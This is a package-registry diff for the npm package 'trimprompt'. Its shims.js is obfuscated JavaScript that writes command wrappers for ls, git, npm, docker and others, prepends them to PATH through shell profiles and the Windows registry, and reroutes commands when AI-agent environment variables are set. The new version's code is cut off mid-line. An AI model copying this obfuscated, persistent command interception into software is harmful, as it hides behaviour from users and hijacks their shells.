trimprompt 1.0.40 → 1.0.41
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +2 -3
- package/cache-manager.js +1 -1
- package/cache.js +1 -1
- package/ccr.js +1 -1
- package/cli.js +1 -1
- package/dashboard.js +1 -1
- package/executor.js +1 -1
- package/file-watcher.js +1 -1
- package/filters/devops.js +1 -1
- package/filters/generic.js +1 -1
- package/filters/git.js +1 -1
- package/filters/go.js +1 -1
- package/filters/index.js +1 -1
- package/filters/js.js +1 -1
- package/filters/python.js +1 -1
- package/filters/rust.js +1 -1
- package/filters/shell.js +1 -1
- package/hooks/claude-hook.js +1 -1
- package/mcp.js +1 -1
- package/package.json +1 -1
- package/proxy-conv.js +1 -1
- package/proxy-resp.js +1 -1
- package/redactor.js +1 -1
- package/seed.js +1 -1
- package/shims.js +1 -1
- package/simulate.js +1 -1
- package/sync.js +1 -1
- package/tracker.js +1 -1
package/shims.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x328f5b=a0_0x42c5;(function(_0x129212,_0x4e6ec6){const _0x29c62b=a0_0x42c5,_0x27fdfa=_0x129212();while(!![]){try{const _0x35ab3b=parseInt(_0x29c62b(0x167))/0x1+-parseInt(_0x29c62b(0x1b5))/0x2+-parseInt(_0x29c62b(0x185))/0x3*(-parseInt(_0x29c62b(0x195))/0x4)+parseInt(_0x29c62b(0x13a))/0x5*(parseInt(_0x29c62b(0x14b))/0x6)+-parseInt(_0x29c62b(0x1a7))/0x7*(-parseInt(_0x29c62b(0x1bf))/0x8)+parseInt(_0x29c62b(0x1bd))/0x9+-parseInt(_0x29c62b(0x176))/0xa*(parseInt(_0x29c62b(0x162))/0xb);if(_0x35ab3b===_0x4e6ec6)break;else _0x27fdfa['push'](_0x27fdfa['shift']());}catch(_0x143a81){_0x27fdfa['push'](_0x27fdfa['shift']());}}}(a0_0x4b03,0xe5a26));var __createBinding=this&&this['__createBinding']||(Object[a0_0x328f5b(0x163)]?function(_0x7ed6c7,_0x8cdb6f,_0x576b60,_0x54a79c){const _0xb905b7=a0_0x328f5b;if(_0x54a79c===undefined)_0x54a79c=_0x576b60;var _0x22007f=Object[_0xb905b7(0x179)](_0x8cdb6f,_0x576b60);(!_0x22007f||(_0xb905b7(0x1a0)in _0x22007f?!_0x8cdb6f[_0xb905b7(0x1af)]:_0x22007f['writable']||_0x22007f[_0xb905b7(0x187)]))&&(_0x22007f={'enumerable':!![],'get':function(){return _0x8cdb6f[_0x576b60];}}),Object['defineProperty'](_0x7ed6c7,_0x54a79c,_0x22007f);}:function(_0x3ae246,_0x36fa77,_0x3267ad,_0x16519f){if(_0x16519f===undefined)_0x16519f=_0x3267ad;_0x3ae246[_0x16519f]=_0x36fa77[_0x3267ad];}),__setModuleDefault=this&&this[a0_0x328f5b(0x164)]||(Object[a0_0x328f5b(0x163)]?function(_0x1f42e2,_0x11f01a){const _0x54d1f3=a0_0x328f5b;Object[_0x54d1f3(0x178)](_0x1f42e2,_0x54d1f3(0x16c),{'enumerable':!![],'value':_0x11f01a});}:function(_0x1cadcc,_0x530cf0){const _0x3a9a35=a0_0x328f5b;_0x1cadcc[_0x3a9a35(0x16c)]=_0x530cf0;}),__importStar=this&&this[a0_0x328f5b(0x15b)]||(function(){var _0x108d11=function(_0x29953b){const _0x452049=a0_0x42c5;return _0x108d11=Object[_0x452049(0x191)]||function(_0x2ded4a){const _0x3c0bb2=_0x452049;var _0x1f1a5e=[];for(var _0x3eec96 in _0x2ded4a)if(Object[_0x3c0bb2(0x16d)][_0x3c0bb2(0x188)]['call'](_0x2ded4a,_0x3eec96))_0x1f1a5e[_0x1f1a5e[_0x3c0bb2(0x17b)]]=_0x3eec96;return _0x1f1a5e;},_0x108d11(_0x29953b);};return function(_0x4fb1b0){const _0x5d550c=a0_0x42c5;if(_0x4fb1b0&&_0x4fb1b0['__esModule'])return _0x4fb1b0;var _0x227da7={};if(_0x4fb1b0!=null){for(var _0x5c00a4=_0x108d11(_0x4fb1b0),_0x159557=0x0;_0x159557<_0x5c00a4[_0x5d550c(0x17b)];_0x159557++)if(_0x5c00a4[_0x159557]!==_0x5d550c(0x16c))__createBinding(_0x227da7,_0x4fb1b0,_0x5c00a4[_0x159557]);}return __setModuleDefault(_0x227da7,_0x4fb1b0),_0x227da7;};}());Object[a0_0x328f5b(0x178)](exports,'__esModule',{'value':!![]}),exports[a0_0x328f5b(0x18e)]=installShims,exports[a0_0x328f5b(0x146)]=uninstallShims;function a0_0x4b03(){const _0x317e57=['map','TrimPrompt\x20successfully\x20installed\x20for\x20','push','\x20@args\x20}\x0a}\x20else\x20{\x0a\x20\x20&\x20','APPDATA','.bash_profile','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','__importStar','pipe','if\x20\x22%AI_AGENT%\x22==\x22\x22\x20if\x20\x22%CURSOR_AGENT%\x22==\x22\x22\x20if\x20\x22%CLAUDECODE%\x22==\x22\x22\x20if\x20\x22%CLAUDE_CODE%\x22==\x22\x22\x20if\x20\x22%ANTIGRAVITY_AGENT%\x22==\x22\x22\x20if\x20\x22%GEMINI_CLI%\x22==\x22\x22\x20if\x20\x22%TRIMPROMPT_ACTIVE%\x22==\x22\x22\x20(','================================================================================','appendFileSync','.ps1','.bashrc','2876357ggnHBl','create','__setModuleDefault','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','1120297lDYoUq','mkdirSync','some','#!/bin/sh\x0aif\x20[\x20-n\x20\x22$AI_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$CURSOR_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$CLAUDECODE\x22\x20]\x20||\x20[\x20-n\x20\x22$CLAUDE_CODE\x22\x20]\x20||\x20[\x20-n\x20\x22$ANTIGRAVITY_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$GEMINI_CLI\x22\x20]\x20||\x20[\x20-n\x20\x22$TRIMPROMPT_ACTIVE\x22\x20];\x20then\x0a\x20\x20if\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','\x20\x22$@\x22;\x20fi\x0a','default','prototype','git','@echo\x20off','\x20&\x20','execFileSync','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','replace','.profile','dirname','130UGsRad','\x20\x20exit\x20/b\x20%ERRORLEVEL%','defineProperty','getOwnPropertyDescriptor','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','length','ruff','\x20\x20\x20👉\x20Please\x20restart\x20your\x20terminal\x20window\x20or\x20AI\x20editor\x20(Cursor/Claude)','trim.cmd','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','\x0aexport\x20PATH=\x22','includes','\x0a#\x20','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','$PROFILE.CurrentUserAllHosts','381Tynaxu','.cmd','configurable','hasOwnProperty','existsSync','glab','child_process','TrimPrompt\x20Shims\x20PATH','message','installShims',';=%\x22','win32','getOwnPropertyNames',':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','env','\x20\x20trim\x20','43576mnvDWC','docker','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','homedir','shims','platform','\x20-NoProfile\x20-Command\x20\x22','%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd','-Command',':$PATH\x22',':$PATH\x22\x0a','get','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.',')\x20else\x20(','\x20\x22$@\x22\x0afi\x0a','toLowerCase','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','\x20\x20set\x20\x22PATH=%PATH:','3009202HusrCH','execSync','\x20@args\x20}\x20else\x20{\x20&\x20','\x20\x22$@\x22;\x20fi\x0aelse\x0a\x20\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','pytest','powershell','\x0a$env:PATH\x20=\x20\x22','-NoProfile','__esModule','writeFileSync','powershell\x20-NoProfile\x20-Command\x20\x22','\x20commands.\x0a\x0a[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','readdirSync','tree','210620sJIXMS','join','cat','split','\x20\x20\x20\x20\x20\x20for\x20the\x20installation\x20to\x20take\x20effect.','trim','\x27,\x20\x27User\x27)','pnpm','11740581QDBkzl','kubectl','8NPhTLQ','cargo','filter','readFileSync','5csjBML','.trimprompt','Failed\x20to\x20install\x20shims:\x20','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','path','npm','utf8','yarn','$PROFILE.CurrentUserCurrentHost','Set-ItemProperty\x20-Path\x20\x27','ignore','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','uninstallShims','\x20%*','\x20\x20\x20\x20\x20\x20[IMPORTANT]\x20TrimPrompt\x20successfully\x20installed!','chmodSync','\x22\x20(','1241958pDzyMQ','find','Failed\x20to\x20uninstall\x20shims:\x20','trim.ps1','pip3','if\x20exist\x20\x22','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','.zshrc','export\x20PATH=\x22'];a0_0x4b03=function(){return _0x317e57;};return a0_0x4b03();}function a0_0x42c5(_0x1cdcac,_0x270ba4){const _0x4b0328=a0_0x4b03();return a0_0x42c5=function(_0x42c54f,_0x37399c){_0x42c54f=_0x42c54f-0x139;let _0x1628fc=_0x4b0328[_0x42c54f];return _0x1628fc;},a0_0x42c5(_0x1cdcac,_0x270ba4);}const fs=__importStar(require('fs')),path=__importStar(require(a0_0x328f5b(0x13e))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x328f5b(0x1b4),a0_0x328f5b(0x1b7),'read','grep','rg',a0_0x328f5b(0x17c),a0_0x328f5b(0x16e),'gh',a0_0x328f5b(0x18a),a0_0x328f5b(0x1c0),'npm',a0_0x328f5b(0x1bc),'npx',a0_0x328f5b(0x141),a0_0x328f5b(0x1be),a0_0x328f5b(0x196),a0_0x328f5b(0x1ab),'pip',a0_0x328f5b(0x14f),'go',a0_0x328f5b(0x14c)],PROFILE_MARKER=a0_0x328f5b(0x18c);function getExecSync(){const _0x46018f=a0_0x328f5b;return require(_0x46018f(0x18b))[_0x46018f(0x1a8)];}function getExecFileSync(){const _0x27a619=a0_0x328f5b;return require(_0x27a619(0x18b))[_0x27a619(0x171)];}function ensureProfileContains(_0x1ebf3c,_0x43df00,_0x27e76c){const _0x55efb6=a0_0x328f5b;try{const _0x39e197=path[_0x55efb6(0x175)](_0x1ebf3c);!fs[_0x55efb6(0x189)](_0x39e197)&&fs['mkdirSync'](_0x39e197,{'recursive':!![]});if(fs[_0x55efb6(0x189)](_0x1ebf3c)){const _0x5953e5=fs[_0x55efb6(0x139)](_0x1ebf3c,_0x55efb6(0x140));if(_0x5953e5[_0x55efb6(0x181)](_0x43df00))return;fs[_0x55efb6(0x15f)](_0x1ebf3c,_0x27e76c,_0x55efb6(0x140));}else fs[_0x55efb6(0x1b0)](_0x1ebf3c,_0x27e76c,_0x55efb6(0x140));}catch{}}function removeProfileBlock(_0x6b9156,_0x3ce612){const _0x597ca1=a0_0x328f5b;try{if(!fs[_0x597ca1(0x189)](_0x6b9156))return;const _0x6afd1a=fs[_0x597ca1(0x139)](_0x6b9156,'utf8');if(!_0x6afd1a[_0x597ca1(0x181)](_0x3ce612))return;const _0x25738f=_0x6afd1a[_0x597ca1(0x1b8)]('\x0a'),_0x45e698=[];let _0x1b3da0=![];for(let _0x21dccb=0x0;_0x21dccb<_0x25738f[_0x597ca1(0x17b)];_0x21dccb++){if(_0x25738f[_0x21dccb][_0x597ca1(0x181)](_0x3ce612)){_0x1b3da0=!![];continue;}if(_0x1b3da0){_0x1b3da0=![];continue;}_0x45e698[_0x597ca1(0x156)](_0x25738f[_0x21dccb]);}const _0x751832=_0x45e698['join']('\x0a')[_0x597ca1(0x173)](/\n{3,}/g,'\x0a\x0a');fs['writeFileSync'](_0x6b9156,_0x751832,_0x597ca1(0x140));}catch{}}function collectPowerShellProfiles(){const _0x11f0b5=a0_0x328f5b,_0x24c427=getExecSync(),_0x162c26=[],_0x1ffe48=[['powershell',_0x11f0b5(0x142)],[_0x11f0b5(0x1ac),_0x11f0b5(0x184)]];try{_0x24c427(_0x11f0b5(0x17a),{'stdio':_0x11f0b5(0x144)}),_0x1ffe48['push'](['pwsh','$PROFILE.CurrentUserAllHosts']);}catch{}for(const [_0x35a1fd,_0x3b5d9c]of _0x1ffe48){try{const _0x10da32=_0x24c427(_0x35a1fd+_0x11f0b5(0x19b)+_0x3b5d9c+'\x22',{'encoding':_0x11f0b5(0x140)})[_0x11f0b5(0x1ba)]();_0x10da32&&!_0x162c26[_0x11f0b5(0x169)](_0x31c70e=>_0x31c70e['toLowerCase']()===_0x10da32[_0x11f0b5(0x1a4)]())&&_0x162c26[_0x11f0b5(0x156)](_0x10da32);}catch{}}return _0x162c26;}function getBashProfilesWindows(){const _0x47de58=a0_0x328f5b,_0x1cbcce=os['homedir']();return['.bashrc',_0x47de58(0x159)][_0x47de58(0x154)](_0x2717a4=>path[_0x47de58(0x1b6)](_0x1cbcce,_0x2717a4));}function getBroadcastCommand(){const _0x532eda=a0_0x328f5b;return _0x532eda(0x197);}function installShims(){const _0x3e5237=a0_0x328f5b,_0x5707c0=path[_0x3e5237(0x1b6)](os['homedir'](),_0x3e5237(0x13b),_0x3e5237(0x199));try{!fs[_0x3e5237(0x189)](_0x5707c0)&&fs[_0x3e5237(0x168)](_0x5707c0,{'recursive':!![]});const _0x2d98df=os[_0x3e5237(0x19a)]()==='win32';for(const _0x1d39fb of SHIMMED_COMMANDS){if(_0x2d98df){const _0x564ade=path[_0x3e5237(0x1b6)](_0x5707c0,_0x1d39fb+_0x3e5237(0x186)),_0x2465f0=process[_0x3e5237(0x193)]['APPDATA']?path[_0x3e5237(0x1b6)](process[_0x3e5237(0x193)][_0x3e5237(0x158)],_0x3e5237(0x13f)):'',_0x16ef08=_0x2465f0?path[_0x3e5237(0x1b6)](_0x2465f0,_0x3e5237(0x17e)):_0x3e5237(0x19c),_0x3be621=[_0x3e5237(0x16f),_0x3e5237(0x15d),_0x3e5237(0x1a6)+_0x5707c0+_0x3e5237(0x18f),'\x20\x20'+_0x1d39fb+_0x3e5237(0x147),_0x3e5237(0x177),')',_0x3e5237(0x150)+_0x16ef08+_0x3e5237(0x14a),_0x3e5237(0x194)+_0x1d39fb+'\x20%*',_0x3e5237(0x1a2),'\x20\x20set\x20\x22PATH=%PATH:'+_0x5707c0+';=%\x22','\x20\x20'+_0x1d39fb+'\x20%*',')'][_0x3e5237(0x1b6)]('\x0d\x0a')+'\x0d\x0a';fs['writeFileSync'](_0x564ade,_0x3be621,_0x3e5237(0x140));const _0x3dc03d=path[_0x3e5237(0x1b6)](_0x5707c0,_0x1d39fb+_0x3e5237(0x160)),_0x23923a='if\x20($env:AI_AGENT\x20-or\x20$env:CURSOR_AGENT\x20-or\x20$env:CLAUDECODE\x20-or\x20$env:CLAUDE_CODE\x20-or\x20$env:ANTIGRAVITY_AGENT\x20-or\x20$env:GEMINI_CLI\x20-or\x20$env:TRIMPROMPT_ACTIVE)\x20{\x0a\x20\x20if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20'+_0x1d39fb+_0x3e5237(0x1a9)+_0x1d39fb+_0x3e5237(0x157)+_0x1d39fb+'\x20@args\x0a}\x0a';fs[_0x3e5237(0x1b0)](_0x3dc03d,_0x23923a,_0x3e5237(0x140));const _0x15d4a6=path['join'](_0x5707c0,_0x1d39fb),_0x495cc6=_0x5707c0[_0x3e5237(0x173)](/\\/g,'/')[_0x3e5237(0x173)](/^([A-Za-z]):/,(_0x4e6446,_0x17bdc7)=>'/'+_0x17bdc7[_0x3e5237(0x1a4)]()),_0x24bd5c=_0x3e5237(0x16a)+_0x1d39fb+'\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|'+_0x495cc6+_0x3e5237(0x192)+_0x1d39fb+_0x3e5237(0x1aa)+_0x495cc6+':||g\x22)\x0a\x20\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20'+_0x1d39fb+_0x3e5237(0x1a3);fs['writeFileSync'](_0x15d4a6,_0x24bd5c,_0x3e5237(0x140));}else{const _0x900b41=path[_0x3e5237(0x1b6)](_0x5707c0,_0x1d39fb),_0x34cefc=_0x3e5237(0x13d)+_0x1d39fb+_0x3e5237(0x151)+_0x1d39fb+_0x3e5237(0x16b);fs[_0x3e5237(0x1b0)](_0x900b41,_0x34cefc,_0x3e5237(0x140)),fs[_0x3e5237(0x149)](_0x900b41,'755');}}let _0x426ce7=![],_0x260a9b='';if(_0x2d98df)try{const _0x23253c=getExecSync(),_0x156c92=_0x3e5237(0x182)+PROFILE_MARKER+_0x3e5237(0x1ad)+_0x5707c0+';\x22\x20+\x20$env:PATH\x0a',_0x375689=collectPowerShellProfiles();for(const _0x30518c of _0x375689){ensureProfileContains(_0x30518c,_0x5707c0,_0x156c92);}try{const _0x20963b=_0x5707c0[_0x3e5237(0x173)](/\\/g,'/')[_0x3e5237(0x173)](/^([A-Za-z]):/,(_0x352d37,_0x53ef9e)=>'/'+_0x53ef9e[_0x3e5237(0x1a4)]()),_0x1844bb=_0x3e5237(0x182)+PROFILE_MARKER+_0x3e5237(0x180)+_0x20963b+_0x3e5237(0x19f),_0x1e7fc4=getBashProfilesWindows();let _0x146425=![];for(const _0x47645c of _0x1e7fc4){fs[_0x3e5237(0x189)](_0x47645c)&&(ensureProfileContains(_0x47645c,_0x20963b,_0x1844bb),_0x146425=!![]);}!_0x146425&&ensureProfileContains(_0x1e7fc4[0x0],_0x20963b,_0x1844bb);}catch{}const _0x420d09=_0x3e5237(0x172),_0x228cd4=_0x23253c(_0x3e5237(0x1b1)+_0x420d09+'\x22',{'encoding':_0x3e5237(0x140),'stdio':['pipe','pipe','ignore']})[_0x3e5237(0x1ba)]();if(!_0x228cd4[_0x3e5237(0x181)](_0x5707c0)){const _0xc54f00=_0x5707c0+';'+_0x228cd4,_0x458f21=_0xc54f00[_0x3e5237(0x173)](/'/g,'\x27\x27'),_0x5d2c74=_0x3e5237(0x15a)+_0x458f21+_0x3e5237(0x1bb);_0x23253c('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x5d2c74+';\x20'+getBroadcastCommand()+'\x22',{'stdio':'ignore'});}const _0x3f1524=path[_0x3e5237(0x1b6)](process[_0x3e5237(0x193)]['APPDATA']||'',_0x3e5237(0x13f),_0x3e5237(0x14e));if(fs[_0x3e5237(0x189)](_0x3f1524))try{fs['unlinkSync'](_0x3f1524);}catch{}_0x426ce7=!![];}catch(_0xb2747f){_0x260a9b=_0x3e5237(0x166)+_0x5707c0;}else try{const _0x326319=_0x3e5237(0x153)+_0x5707c0+':$PATH\x22\x0a',_0x8e0bbb=os['homedir'](),_0x54cb60=[_0x3e5237(0x161),_0x3e5237(0x152),_0x3e5237(0x159),_0x3e5237(0x174)];let _0x4cf125=![];for(const _0x2a4ccf of _0x54cb60){const _0x55e282=path[_0x3e5237(0x1b6)](_0x8e0bbb,_0x2a4ccf);fs['existsSync'](_0x55e282)&&(ensureProfileContains(_0x55e282,_0x5707c0,_0x3e5237(0x182)+PROFILE_MARKER+'\x0a'+_0x326319),_0x4cf125=!![]);}if(!_0x4cf125){const _0x210d71=path[_0x3e5237(0x1b6)](_0x8e0bbb,_0x3e5237(0x161));ensureProfileContains(_0x210d71,_0x5707c0,_0x3e5237(0x182)+PROFILE_MARKER+'\x0a'+_0x326319);}_0x426ce7=!![];}catch(_0x180c3e){_0x260a9b=_0x3e5237(0x1a5)+_0x5707c0+_0x3e5237(0x19e);}const _0x34cc77=[_0x3e5237(0x15e),_0x3e5237(0x148),_0x3e5237(0x15e),_0x3e5237(0x17d),_0x3e5237(0x1b9),_0x3e5237(0x15e)][_0x3e5237(0x1b6)]('\x0a'),_0x428bf6=_0x426ce7?_0x34cc77:_0x3e5237(0x155)+SHIMMED_COMMANDS['length']+_0x3e5237(0x1b2)+_0x260a9b;return{'success':!![],'pathDir':_0x5707c0,'message':_0x428bf6};}catch(_0x2c6098){return{'success':![],'pathDir':_0x5707c0,'message':_0x3e5237(0x13c)+_0x2c6098[_0x3e5237(0x18d)]};}}function uninstallShims(){const _0x5bf37b=a0_0x328f5b,_0x123089=path[_0x5bf37b(0x1b6)](os[_0x5bf37b(0x198)](),_0x5bf37b(0x13b),_0x5bf37b(0x199)),_0x417511=os[_0x5bf37b(0x19a)]()===_0x5bf37b(0x190);try{if(_0x417511){const _0x4f334c=getExecSync();try{const _0x4b81d7=getExecFileSync(),_0x23f79e=_0x5bf37b(0x17f),_0x31ce23=_0x5bf37b(0x165)+_0x23f79e+_0x5bf37b(0x183),_0x3fa558=_0x4b81d7('powershell.exe',[_0x5bf37b(0x1ae),'-Command',_0x31ce23],{'encoding':'utf8','stdio':[_0x5bf37b(0x15c),'pipe',_0x5bf37b(0x144)]})[_0x5bf37b(0x1ba)]();if(_0x3fa558[_0x5bf37b(0x181)](_0x123089)){const _0x2630f0=_0x3fa558['split']('\x20&\x20')[_0x5bf37b(0x1c1)](_0x511010=>!_0x511010[_0x5bf37b(0x181)](_0x123089));if(_0x2630f0[_0x5bf37b(0x17b)]===0x0){const _0x3b7eff='Remove-ItemProperty\x20-Path\x20\x27'+_0x23f79e+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue';_0x4b81d7('powershell.exe',[_0x5bf37b(0x1ae),_0x5bf37b(0x19d),_0x3b7eff],{'stdio':_0x5bf37b(0x144)});}else{const _0x8ea9e0=_0x2630f0[_0x5bf37b(0x1b6)](_0x5bf37b(0x170)),_0x1207ee=_0x5bf37b(0x143)+_0x23f79e+_0x5bf37b(0x145)+_0x8ea9e0+'\x27';_0x4b81d7('powershell.exe',[_0x5bf37b(0x1ae),_0x5bf37b(0x19d),_0x1207ee],{'stdio':_0x5bf37b(0x144)});}}}catch{}try{const _0x2856ea=collectPowerShellProfiles();for(const _0x2d505c of _0x2856ea){removeProfileBlock(_0x2d505c,PROFILE_MARKER);}}catch{}try{for(const _0x1d6356 of getBashProfilesWindows()){removeProfileBlock(_0x1d6356,PROFILE_MARKER);}}catch{}try{const _0x3ec389=_0x5bf37b(0x172),_0x3eca72=_0x4f334c('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x3ec389+'\x22',{'encoding':_0x5bf37b(0x140),'stdio':['pipe','pipe',_0x5bf37b(0x144)]})[_0x5bf37b(0x1ba)]();if(_0x3eca72[_0x5bf37b(0x181)](_0x123089)){const _0x4a68e7=_0x3eca72[_0x5bf37b(0x1b8)](';')[_0x5bf37b(0x1c1)](_0x3109d3=>_0x3109d3['trim']()['toLowerCase']()!==_0x123089[_0x5bf37b(0x1a4)]())[_0x5bf37b(0x1b6)](';'),_0x2a500d=_0x4a68e7[_0x5bf37b(0x173)](/'/g,'\x27\x27'),_0x2bbc68=_0x5bf37b(0x15a)+_0x2a500d+'\x27,\x20\x27User\x27)';_0x4f334c('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x2bbc68+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x5bf37b(0x144)});}}catch{}}else{const _0x2fd850=os[_0x5bf37b(0x198)](),_0x182998=[_0x5bf37b(0x161),_0x5bf37b(0x152),_0x5bf37b(0x159),_0x5bf37b(0x174)];for(const _0x4f0ddc of _0x182998){removeProfileBlock(path[_0x5bf37b(0x1b6)](_0x2fd850,_0x4f0ddc),PROFILE_MARKER);}}if(fs[_0x5bf37b(0x189)](_0x123089)){const _0x169932=fs[_0x5bf37b(0x1b3)](_0x123089);for(const _0x3a4a80 of _0x169932){fs['unlinkSync'](path['join'](_0x123089,_0x3a4a80));}fs['rmdirSync'](_0x123089);}return{'success':!![],'message':_0x5bf37b(0x1a1)};}catch(_0x189583){return{'success':![],'message':_0x5bf37b(0x14d)+_0x189583['message']};}}
|
|
1
|
+
'use strict';function a0_0x189c(_0x2ab92d,_0x3df0ab){_0x2ab92d=_0x2ab92d-0x125;const _0x34c5e5=a0_0x34c5();let _0x189cbb=_0x34c5e5[_0x2ab92d];return _0x189cbb;}const a0_0x1d1927=a0_0x189c;(function(_0xf54e6f,_0x259261){const _0x31b159=a0_0x189c,_0x3ec0c2=_0xf54e6f();while(!![]){try{const _0x569ca9=parseInt(_0x31b159(0x146))/0x1+parseInt(_0x31b159(0x187))/0x2*(parseInt(_0x31b159(0x173))/0x3)+-parseInt(_0x31b159(0x1a3))/0x4*(-parseInt(_0x31b159(0x152))/0x5)+parseInt(_0x31b159(0x15c))/0x6*(-parseInt(_0x31b159(0x12f))/0x7)+parseInt(_0x31b159(0x135))/0x8*(-parseInt(_0x31b159(0x177))/0x9)+-parseInt(_0x31b159(0x181))/0xa+parseInt(_0x31b159(0x144))/0xb*(parseInt(_0x31b159(0x1a6))/0xc);if(_0x569ca9===_0x259261)break;else _0x3ec0c2['push'](_0x3ec0c2['shift']());}catch(_0x11bc39){_0x3ec0c2['push'](_0x3ec0c2['shift']());}}}(a0_0x34c5,0x257a0));var __createBinding=this&&this[a0_0x1d1927(0x19b)]||(Object[a0_0x1d1927(0x16a)]?function(_0x12fb06,_0x501a49,_0x1281ed,_0x5cc8a9){const _0x5a5e66=a0_0x1d1927;if(_0x5cc8a9===undefined)_0x5cc8a9=_0x1281ed;var _0x568159=Object['getOwnPropertyDescriptor'](_0x501a49,_0x1281ed);(!_0x568159||(_0x5a5e66(0x14d)in _0x568159?!_0x501a49[_0x5a5e66(0x18f)]:_0x568159[_0x5a5e66(0x14b)]||_0x568159[_0x5a5e66(0x13e)]))&&(_0x568159={'enumerable':!![],'get':function(){return _0x501a49[_0x1281ed];}}),Object[_0x5a5e66(0x12a)](_0x12fb06,_0x5cc8a9,_0x568159);}:function(_0xa581f,_0x145299,_0x49f0d4,_0x248eb2){if(_0x248eb2===undefined)_0x248eb2=_0x49f0d4;_0xa581f[_0x248eb2]=_0x145299[_0x49f0d4];}),__setModuleDefault=this&&this[a0_0x1d1927(0x18e)]||(Object[a0_0x1d1927(0x16a)]?function(_0x2337f7,_0x335885){const _0x1091e4=a0_0x1d1927;Object[_0x1091e4(0x12a)](_0x2337f7,_0x1091e4(0x186),{'enumerable':!![],'value':_0x335885});}:function(_0x56951c,_0x5d69a7){const _0xe8d0a4=a0_0x1d1927;_0x56951c[_0xe8d0a4(0x186)]=_0x5d69a7;}),__importStar=this&&this[a0_0x1d1927(0x197)]||(function(){var _0x29e3ea=function(_0xed9ca){const _0x47ae44=a0_0x189c;return _0x29e3ea=Object[_0x47ae44(0x17c)]||function(_0x5b3d80){const _0x475dc0=_0x47ae44;var _0x2ab3bc=[];for(var _0x543510 in _0x5b3d80)if(Object[_0x475dc0(0x154)]['hasOwnProperty'][_0x475dc0(0x16c)](_0x5b3d80,_0x543510))_0x2ab3bc[_0x2ab3bc[_0x475dc0(0x15e)]]=_0x543510;return _0x2ab3bc;},_0x29e3ea(_0xed9ca);};return function(_0xed335){const _0x36212e=a0_0x189c;if(_0xed335&&_0xed335[_0x36212e(0x18f)])return _0xed335;var _0x3c39fa={};if(_0xed335!=null){for(var _0x142b23=_0x29e3ea(_0xed335),_0x28ca5c=0x0;_0x28ca5c<_0x142b23['length'];_0x28ca5c++)if(_0x142b23[_0x28ca5c]!==_0x36212e(0x186))__createBinding(_0x3c39fa,_0xed335,_0x142b23[_0x28ca5c]);}return __setModuleDefault(_0x3c39fa,_0xed335),_0x3c39fa;};}());Object['defineProperty'](exports,a0_0x1d1927(0x18f),{'value':!![]}),exports[a0_0x1d1927(0x163)]=installShims,exports[a0_0x1d1927(0x17b)]=uninstallShims;const 